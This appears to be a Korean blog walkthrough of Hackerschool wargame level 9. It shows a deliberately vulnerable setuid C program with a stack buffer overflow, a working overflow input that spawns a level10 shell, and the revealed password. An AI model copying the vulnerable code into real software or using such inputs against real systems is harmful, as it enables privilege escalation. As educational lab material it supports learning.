level9 / apple
[level9@localhost level9]$ cat hint
다음은 /usr/bin/bof의 소스이다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
char buf2[10];
char buf[10];
printf("It can be overflow : ");
fgets(buf,40,stdin);
if ( strncmp(buf2, "go", 2) == 0 )
{
printf("Good Skill!\n");
setreuid( 3010, 3010 );
system("/bin/bash");
}
}
이를 이용하여 level10의 권한을 얻어라.
gcc 버젼이 3.2.2로 더미값이 발생한다.
[level9@localhost bin]$ ./bof
It can be overflow : 1234567890123456go
Good Skill!
[level10@localhost bin]$ my-pass
Level10 Password is "interesting to hack!".
'컴퓨터 > hackerschool' 카테고리의 다른 글
hackerschool level 8 (0) | 2012.02.17 |
---|---|
hackerschool level 7 (0) | 2012.02.17 |
hackerschool level 6 (0) | 2012.02.17 |
hackerschool level 5 (0) | 2012.02.17 |
hackerschool level 4 (0) | 2012.02.13 |
댓글